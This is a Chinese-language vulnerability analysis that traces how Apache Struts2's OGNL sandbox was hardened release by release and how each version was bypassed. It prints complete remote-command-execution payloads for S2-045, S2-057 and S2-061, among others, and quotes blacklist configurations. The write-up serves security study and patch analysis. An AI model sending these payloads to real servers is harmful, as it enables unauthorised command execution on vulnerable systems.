作者:medi0cr1ty @ QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/RSs7MxolwGhjtENfNx1oTg
hi!! 新面孔打個招呼~最近花了蠻長時間看 Struts2 的漏洞,可能某些安全研究人員(像我)會選擇 Struts2 作為入手 java 研究的第一個框架,畢竟最早實現 MVC(Model+View+Controller) 模式的 java web 框架就是 struts 了。所以輸出這篇文章記錄下我的總結以及理解,如果能對你有所幫助就更好了 ~!
本文不會對 struts2 漏洞的調用鏈跟進進行闡述,僅是從 struts2 框架中通過 ognl 產生命令執行漏洞的位置以及 struts2 版本更新安全防護升級相應命令執行 PoC 的更新兩個角度進行切入。另如有錯誤煩請指正,謝謝!
文章導航
文章分為四個部分來闡述:
- 對 struts2 框架進行介紹;
- 對 struts2 框架 OGNL 語法進行介紹;
- struts2 命令執行系列漏洞產生的位置;
- struts2 版本變化對應 PoC 的變化
一、 struts2 框架介紹
struts2 由 struts1 升級得名,而其中卻是采用 Webwork2 作為其代碼基礎,完全摒棄 struts1 的設計思想及代碼,并以 xwork 作為底層實現的核心,以 ognl 作為瀏覽器與 java 對象數據流轉溝通的語言,實現不同形式數據之間的轉換與通信。
可以一起看一下 struts2 中一個請求從進入到返回響應會經歷哪些過程以及 xwork 核心中各個元素如何配合讓程序運轉。
下圖為請求從輸入到輸出的過程:
(圖出自 https://blog.csdn.net/qq_32166627/article/details/70050012
)
首先當 struts2 項目啟動時,會先加載 web.xml ,由其中定義的入口程序 StrutsPrepareAndExecuteFilter 進行容器的初始化以及轉發我們的請求。由其中的 init 函數進行初始化,加載配置文件信息,對內置對象進行創建及緩存,創建接下來 struts2 操作的運行環境。
由 doFilter 函數中對封裝成 HttpServletRequest 的 http 請求進行預處理以及轉發執行。
在這期間 struts2 需要知道這個請求具體由哪個 action 的哪個方法處理,那么在 doFilter 中,在這里會進行請求和 action 之間的映射,具體為根據輸入的 url 截取相關信息存入 org.apache.struts2.dispatcher.mapper.ActionMapping 對象屬性中,屬性包括了請求的 action 、method 、param 、namespace 等(也就是圖中的第 3 步)。當然不一定請求的 action ,比如請求 jsp 文件等,那么 ActionMapping 映射為空,則不由 struts2 轉發處理。不為空則由 ActionProxy 根據 ActionMapping 映射信息以及 ConfigurationManager 配置信息,找到我們具體要訪問的 Action 類(也是圖中的 6、7 步)。接著通過 ActionProxy 創建 ActionInvocation 實例,由 ActionInvocation 實例調度訪問 Action 。
在訪問 Action 之前,會先執行一個攔截器棧,在攔截器棧中會對請求進行一些處理,比如在 ParametersInterceptor 中將參數通過 setter 、getter 方法對 Action 的屬性賦值,在 ConversionErrorInterceptor 中對參數類型轉換出錯時進行攔截處理等。
接下來才會去訪問 Action 類。執行完成返回一個結果,結果可能是視圖文件,也有可能是去訪問另一個 action ,那么如果是訪問另一個 action 就重新進行映射,由 ActionProxy 創建 ActionInvocation 進行調度等,如果是返回一個視圖文件,那么逆序攔截器棧執行完,最終通過 HTTPServletResponse 返回響應。
前面洋洋灑灑一大堆,其中有一些比如 ActionProxy 、ActionInvocation 等類可能是陌生的,所以我們可以看一下各個元素。其實上面流程中由 ActionProxy 接管請求信息起,就是 xwork 框架的入口了。下圖為 xwork 的宏觀示意圖。

這些節點元素里面可以分為負責請求響應的執行元素(控制流元素)以及進行請求響應所依賴的數據元素(數據流元素)。而執行元素中負責定義事件處理的基本流程的:Interceptor(攔截器,對 Action 的邏輯擴展)、 Action(核心處理類)、 Result(執行結果,負責對 Action 的響應進行邏輯跳轉),以及負責調度執行的: ActionProxy (提供一個無干擾的執行環境)、ActionInvocation(組織調度 Action 、Interceptor 、Result 節點執行順序的核心調度器)。而數據流元素則包括了 ActionContext 以及 ValueStack 。其中 ActionContext 中提供了 xwork 進行事件處理過程中需要用到的框架對象(比如:container、ValueStack、actionInvocation 等)以及數據對象(比如:session、application、parameters 等)。而 ValueStack 則主要對 ognl 計算進行擴展,是進行數據訪問、 ognl 計算的場所,在 xwork 中實現了 ValueStack 的類就是 OgnlValueStack 。
以上這些概念可能對理解 struts2 框架有所幫助。那么回到主題 struts2 中 ognl 所產生的命令執行的漏洞,就不得不提一些必要的概念。
二、 struts2 框架 OGNL 語法
struts2 中使用 Ognl 作為數據流轉的“催化劑”。要知道在視圖展現中,我們看到的都是字符串,而我們進行邏輯處理時的數據是豐富的,可能是某個類對象,那么如果我們想在頁面中展示對象數據就需要一個轉換器,這個轉換器就是常說的表達式引擎,他負責將對象翻譯成字符串,當然這個關系不是單向的,他也可以通過規則化的字符串翻譯為對對象的操作。struts2 使用了 ognl 作為他的翻譯官,ognl 不僅僅應用于頁面字符串與對象數據轉換,在 struts2 中各個模塊進行數據處理時也會用到。
進行 ognl 表達式計算最主要的元素包括:表達式、 root 對象、上下文環境( context )。其中表達式表達了這次 ognl 解析要干什么, root 對象表示通常 ognl 操作的對象,而上下文環境表示通常 ognl 運行的環境。而 root 對象和 context 上下文環境都是 OgnlValueStack 的屬性值。如下圖所示:

而其中 root 對象是一個棧結構,每一次請求都會將請求的 action 壓入 root 棧頂,所以我們在 url 中可以輸入 action 中的屬性進行賦值,在參數攔截器中會從 root 棧中從棧頂到棧底依次找同名的屬性名進行賦值。

context 對象是一個 map 結構,其中 key 為對象的引用,value 為對象具體的存儲信息。(這其中還存儲了 OgnlValueStack 的引用)

可以來看看 ognl 怎么對 OgnlValueStack 中的對象進行操作。
- 對 root 對象的訪問: name // 獲取 root 對象中 name 屬性的值 department.name // 獲取 root 對象中 department 屬性的 name 屬性的值 department['name'] 、 department["name"]
- 對 context 上下文環境的訪問: #introduction // 獲取上下文環境中名為 introduction 對象的值 #parameters.user // 獲取上下文環境中 parameters 對象中的 user 屬性的值 #parameters['user'] 、 #parameters["user"]
- 對靜態變量 / 方法的訪問:@[class]@[field/method] @com.example.core.Resource@ENABLE // 訪問 com.example.core.Resource 類中 ENABLE 屬性 @com.example.core.Resource@get() // 調用 com.example.core.Resource 類中 get 方法
- 方法調用:類似 java 方法調用 group.containsUser(#requestUser) // 調用 root 對象中 group 中的 containsUser 方法,并傳入 context 中名為 requestUser 的對象作為參數
三、struts2 中 ognl 命令執行漏洞產生的位置
有了前面的基礎知識,可以逐漸步入正題。簡要總結了 struts2 中 ognl 命令執行漏洞在框架中產生的位置及其原因。

圖中的賦值內容就是我們之后的 PoC 內容,進而解析執行觸發。
四、struts2 版本變化對應 PoC 的變化
“修補”旅途的開始, struts2 中對 ognl 表達式執行也進行了一定的防護。具體體現在 MemberAccess 接口中規定了 ognl 的對象方法 / 屬性訪問策略。實現 MemberAccess 接口的有兩類:一個是在 ognl 中實現的 DefaultMemberAccess ,默認禁止訪問 private 、protected 、package protected 修飾的屬性方法。一個是 xwork 中對對象方法訪問策略進行了擴展的 SecurityMemberAccess ,指定是否支持訪問靜態方法,默認設置為 false 。
public class SecurityMemberAccess extends DefaultMemberAccess {
private boolean allowStaticMethodAccess;
Set<Pattern> excludeProperties = Collections.emptySet();
Set<Pattern> acceptProperties = Collections.emptySet();
public SecurityMemberAccess(boolean method) {
super(false);
this.allowStaticMethodAccess = method;
}
…
而在 SecurityMemberAccess 中同時也提供了 setAllowStaticMethodAccess 、getAllowStaticMethodAccess 方法,且修飾符為 public 。所以繞過這一版本的防護的 PoC :
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
首先通過 #_memberAccess 獲取 SecurityMemberAccess 實例,通過 setAllowStaticMethodAccess 方法設置其值為 true ,允許執行靜態方法。
接著在 Struts2.3.14.2+ 中,SecurityMemberAccess 對 allowStaticMethodAccess 加了 final 修飾并將 setAllowStaticMethodAccess 方法去除了。
這里繞過就有兩種方法:【 PoC 參考:S2-012、S2-015、S2-016(影響的版本:Struts 2.0.0 - Struts 2.3.15)】
- 通過反射將 allowStaticMethodAccess 的值改變
#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")
#f.setAccessible(true)
#f.set(#_memberAccess,true)
- 新建一個 ProcessBuilder 實例,調用 start 方法來執行命令
(#p=new java.lang.ProcessBuilder('calc')).(#p.start())
接著在 Struts2.3.20+ 中,SecurityMemberAccess 中增加了 excludedClasses , excludedPackageNames 以及 excludedPackageNamePatterns 三個黑名單屬性。這三個屬性在 SecurityMemberAccess#isAccessible 方法中遍歷判斷了當前操作類是否在黑名單類中,而在 ognl 表達式執行時 OgnlRuntime 類中 callConstructor、getMethodValue、setMethodValue、getFieldValue、isFieldAccessible、isMethodAccessible、invokeMethod 調用了此方法。也即是在 ognl 表達式在執行以上操作時判斷了當前操作類是否在黑名單中。
黑名單屬性在 struts-default.xml 中定義:
Struts2.3.28 struts-default.xml :
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax" />
繞過:【 PoC 參考:S2-032(影響版本:struts2.3.20 - struts2.3.28 (除去 2.3.20.3 及 2.3.24.3))】
通過 DefaultMemberAccess 替換 SecurityMemberAccess 來完成:
#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS
這樣 ognl 計算時的規則就替換成了 DefaultMemberAccess 中的規則,也就沒有了黑名單的限制以及靜態方法的限制。這里獲取類的靜態屬性通過 ognl.OgnlRuntime#getStaticField 獲得,而該方法中沒有調用 isAccessible 方法,故通過 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 可以獲取到 DefaultMemberAccess 對象,賦值給上下文環境中的 _memberAccess ,繞過黑名單限制。
接著在 Struts2.3.30+ 及 struts2.5.2+ 中,增加了 SecurityMemberAccess 中的黑名單,將 ognl.DefaultMemberAccess 以及 ognl.MemberAccess 加入了黑名單;同時在 Struts2.3.30 使用 ognl-3.0.19.jar 包 、struts2.5.2 使用 ognl-3.1.10.jar 包中的 OgnlContext 不再支持使用 #_memberAccess 獲得 MemberAccess 實例。
struts2.5.10 :
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
ognl.OgnlContext,
ognl.ClassResolver,
ognl.TypeConverter,
ognl.MemberAccess,
ognl.DefaultMemberAccess,
com.opensymphony.xwork2.ognl.SecurityMemberAccess,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />
繞過:【 PoC 參考 S2-045 ,影響版本 Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10 】
通過 ognl.OgnlContext#setMemberAccess 方法將 DefaultMemberAccess 設為 ognl 表達式計算的規則。
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm))

這樣無需通過 #_memberAccess 的形式獲取實例,而是直接改變 OgnlContext 中的 _memberAccess 屬性。但是調用 setMemberAccess 方法會觸發檢查黑名單,ognl.OgnlContext 儼然在黑名單中,那怎么繞過黑名單呢?
通過 OgnlUtil 改變 SecurityMemberAccess 黑名單屬性值:
(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).
(#ognlUtil= #container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear())

從上圖中可以看出在 StrutsPrepareAndExecuteFilter#doFilter 初始化 OgnlValueStack 中 SecurityMemberAccess 的黑名單集合時是通過 ognlUtil 中的黑名單集合進行賦值的,他們共享同一個黑名單地址,那么是不是將 OgnlUtil 中的黑名單清空 SecurityMemberAccess 中的黑名單也清空了。
故在 PoC 中首先通過容器獲取 OgnlUtil 實例, OgnlUtil 是單例模式實現的對象,所以獲取到的實例是唯一的,接著調用 get 方法獲取黑名單集合,clear 方法清空。
我們可以一起看一下 S2-045 完整的 PoC :
%{
(#_='multipart/form-data').
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm))
)).
(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).
(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
(#ros.flush())
}
最開始的 #_='multipart/form-data' 是為了滿足觸發漏洞的要求,接下來就是將 DefaultMemberAccess 存入 OgnlContext 上下文環境中,接著一個三目運算符主要為了適配低版本中可以直接取到 _memberAccess 對象,取不到就按前面繞過的形式將黑名單清空并將 DefaultMemberAccess 設為默認安全策略。接下來就是執行命令并輸出了。
接著在 Struts2.5.13+ 中,excludedClasses 等黑名單集合設為不可變集合(從 struts 2.5.12 開始就不再可變)通過前面 PoC 中的 clear 函數來清除數據會拋出異常:java.lang.UnsupportedOperationException at java.util.Collections$UnmodifiableCollection.clear 。同時 struts 2.5.13 使用的 ognl-3.1.15.jar 包中 OgnlContext 不再支持使用 #context 獲取上下文環境。
com.opensymphony.xwork2.ognl.OgnlUtil#setExcludedClasses :
public void setExcludedClasses(String commaDelimitedClasses) {
Set<String> classNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedClasses);
Set<Class<?>> classes = new HashSet();
Iterator i$ = classNames.iterator();
while(i$.hasNext()) {
String className = (String)i$.next();
try {
classes.add(Class.forName(className));
} catch (ClassNotFoundException var7) {
throw new ConfigurationException("Cannot load excluded class: " + className, var7);
}
}
this.excludedClasses = Collections.unmodifiableSet(classes);
}
繞過:【 PoC 參考 S2-057 ,影響版本 Struts 2.0.4 - Struts 2.3.34, Struts 2.5.0 - Struts 2.5.16 】
通過 setExcludedXXX('') 方法實現:
(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
但是,實操發現這樣發送請求后面的命令還是不能執行,跟進 setExcludedXXX('') 中的 Collections.unmodifiableSet(classes) 會發現其實是返回了一個新的空集合,并不是之前那個 _memberAccess 和 ognlUtil 共同引用的那個黑名單地址的集合,怎么辦吶,很簡單再發一次請求就可以了。為什么呢?因為提到過 OgnlUtil 是單例模式實現的,應用從始至終都用的同一個 OgnlUtil ,而 _memberAccess 的作用域是在一次請求范圍內的,與此同時 OgnlUtil 中的黑名單集合已經置為空了,那么重新發一次請求,_memberAccess 重新初始化,通過 OgnlUtil 中為空的黑名單進行賦值。
還有一個需要繞過的地方:通過上下文環境中其他屬性(比如這里的 attr )來獲得 context 。
#attr['struts.valueStack'].context
完整看一下 S2-057 的 PoC :
兩個數據包:
1、
/${(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}/login.action
2、
/${(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))}/login
接著在 Struts2.5.20 中,使用的 ognl-3.1.21.jar 包 ognl.OgnlRuntime#getStaticField 中調用了 isAccessible 方法,同時 OgnlUtil 中 set 黑名單集合等修飾符由 public 變成了 protected 。在 Struts2.5.22+ 中,ognl.OgnlRuntime#invokeMethod 方法調用時屏蔽了常用的類,也即是就算將黑名單繞過去了方法調用時仍會判斷是否是這些常用的類。同時 struts-default.xml 中定義的黑名單再次增加。
Struts2.5.25 struts-default.xml :
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
相當于前面繞過方式都不能用了,比如使用 @ognl.OgnlContext@DEFAULT_MEMBER_ACCESS 獲得 DefaultMemberAccess 實例;使用 #attr['struts.valueStack'].context 獲得上下文環境;通過容器創建實例等。
繞過:【 PoC 參考 S2-061 ,影響版本 Struts 2.0.0 - Struts 2.5.25 】
引用新的類來實現:
- org.apache.tomcat.InstanceManager : 使用其默認實現類 DefaultInstanceManager 的 newInstance 方法來創建實例
- org.apache.commons.collections.BeanMap : 通過 BeanMap#setBean 方法可以將類實例存入 BeanMap 中,存入同時進行初始化將其 set、get 方法存入當前的 writeMethod 、 readMethod 集合中; 通過 BeanMap#get 方法可以在當前 bean 的 readMethod 集合中找到對應 get 方法,再反射調用該方法返回一個對象; 通過 BeanMap#put 方法可以在當前 bean 的 writeMethod 集合中找到對應 set 方法,再反射調用該方法。
完整看一下 S2-061 的 PoC :
%25{(#im=#application['org.apache.tomcat.InstanceManager']).
(#bm=#im.newInstance('org.apache.commons.collections.BeanMap')).
(#vs=#request['struts.valueStack']).
(#bm.setBean(#vs)).(#context=#bm.get('context')).
(#bm.setBean(#context)).(#access=#bm.get('memberAccess')).
(#bm.setBean(#access)).
(#empty=#im.newInstance('java.util.HashSet')).
(#bm.put('excludedClasses',#empty)).(#bm.put('excludedPackageNames',#empty)).
(#cmdout=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
首先從 application 中獲得 DefaultInstanceManager 實例,調用 newInstance 方法獲得 BeanMap 實例。接著先將 OgnlValueStack 存入 BeanMap 中,通過 get 方法可以獲得 OgnlContext 實例,獲得 OgnlContext 實例就可以通過其獲得 MemberAccess 實例,接著可以通過 put 方法調用 set 方法,將其黑名單置空,黑名單置空后就可以創建一個黑名單中的類實例來執行命令了。

最新版本:Struts2.5.26 中再一次增加了黑名單:
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl., java.io., java.net., java.nio., javax.,
freemarker.core., freemarker.template., freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc., sun.reflect., javassist.,
org.apache.velocity., org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util.,
org.apache.tomcat., org.apache.catalina.core.,
com.ibm.websphere., org.apache.geronimo.,
org.apache.openejb., org.apache.tomee.,
org.eclipse.jetty., org.mortbay.jetty.,
org.glassfish., org.jboss.as., org.wildfly., weblogic.," />
把中間件的包都給屏蔽了 orz …
五、結語
這篇文章主要根據 struts2 版本更新將其命令執行系列漏洞順了一遍。struts2 框架在執行命令時主要防護機制是 SecurityMemberAccess 中的策略,以及對應使用的 ognl jar 包中的一些變化,分析時可以重點關注這兩地方。另外到了 struts2.5.26 版本感覺官方將該補的都補了,但還是期待新 PoC 的出現。
六、參考鏈接
[1] 《Struts2 技術內幕——深入解析Struts2架構設計與實現原理》
[2] https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[3] https://cwiki.apache.org/confluence/display/WW/Security+Bulletins
[4] https://github.com/vulhub/vulhub/tree/master/struts2
[5] https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1575/
暫無評論